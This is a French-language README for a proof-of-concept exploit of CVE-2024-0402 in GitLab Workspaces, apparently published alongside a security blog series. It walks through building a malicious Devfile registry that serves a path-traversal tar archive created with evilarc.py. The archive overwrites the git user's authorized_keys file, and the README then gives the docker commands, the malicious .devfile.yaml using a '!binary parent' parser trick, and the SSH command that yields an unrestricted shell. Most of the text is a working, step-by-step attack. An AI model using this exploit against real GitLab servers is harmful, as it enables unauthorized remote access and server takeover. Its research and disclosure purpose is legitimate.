
Exploit CVE-2024-0402 pour GitLab Workspaces utilisant un registre Devfile malveillant avec une archive de path traversal pour écraser authorized_keys et obtenir un accès SSH.
Ce projet contient un registre Devfile malveillant utilisable pour exploiter CVE-2024-0402 dans Gitlab.
Un stack nodejs:2.2.1 est indexé pour exposer le fichier archive.tar exploitant le problème de path-traversal dans la bibliothèque registry-support avant v1.1.0.
Emplacement du tar : malicious-devfile-registry/stacks/nodejs/2.2.1/archive.tar
Il a été créé en utilisant evilarc.py pour écraser le fichier /var/opt/gitlab/.ssh/authorized_keys sur le serveur Gitlab cible avec les clés SSH du dossier ssh-keys/ de ce dépôt.
python3 evilarc.py authorized_keys -f authzkeys.tar.gz -p var/opt/gitlab/.ssh/ -o unix
Une fois en fonctionnement, le registre aura le fichier .tar malveillant ajouté aux stacks récupérables.
Voir le fichier index.json qui l'énumère parmi les ressources du stack :
...
"links": {
"self": "devfile-catalog/nodejs:2.2.1"
},
...
"resources": [
"devfile.yaml",
"archive.tar"
],
...
Configurez une instance Gitlab EE avec une version <=16.8.0. Activez les Workspaces sur celle-ci en suivant la documentation et les notes supplémentaires dans notre article dédié de la série !exploitable.
Lorsque vous êtes prêt, suivez les étapes ci-dessous :
Exécutez docker build -t devfile-index . à la racine de ce dépôt pour construire l'image du conteneur du registre
Exécutez docker run -d -p 5000:5000 --name local-registrypoc registry:2 pour lancer un registre de conteneurs local qui sera utilisé par le registre Devfile pour stocker le stack. Remarque : vous devez modifier la commande pour l'exposer selon vos besoins. Pour nous, tout se passait dans un environnement local
Exécutez docker run --network host devfile-index pour démarrer le registre Devfile malveillant construit à l'étape 1. Remarque : Comme précédemment, modifiez la commande d'exécution comme vous le souhaitez pour la rendre accessible par l'instance Gitlab
Authentifiez-vous en tant que développeur sur le serveur Gitlab cible, puis modifiez le fichier .devfile.yaml d'un dépôt que vous contrôlez. Le YAML doit exploiter le différentiel d'analyseur syntaxique pour permettre la récupération depuis le registre malveillant
schemaVersion: 2.2.0
!binary parent:
id: nodejs
registryUrl: http://<YOUR_MALICIOUS_REGISTRY>:<PORT>
components:
- name: development-environment
attributes:
gl/inject-editor: true
container:
image: "registry.gitlab.com/gitlab-org/gitlab-build-images/workspaces/ubuntu-24.04:20250109224147-golang-1.23@sha256:c3d5527641bc0c6f4fbbea4bb36fe225b8e9f1df69f682c927941327312bc676"
Pour déclencher l'écriture de fichier dans l'interface Gitlab, démarrez simplement un nouveau Workspace dans le dépôt modifié.
Après quelques secondes, l'écriture arbitraire de fichier devrait se produire et ssh-keys/pockey.pub sera ajouté au fichier authorized_keys de l'utilisateur git
Vous devriez pouvoir bénéficier d'un shell sans restriction en tant que git avec
ssh -i ssh-keys/pockey git@<YOUR_GITLAB_SERVER>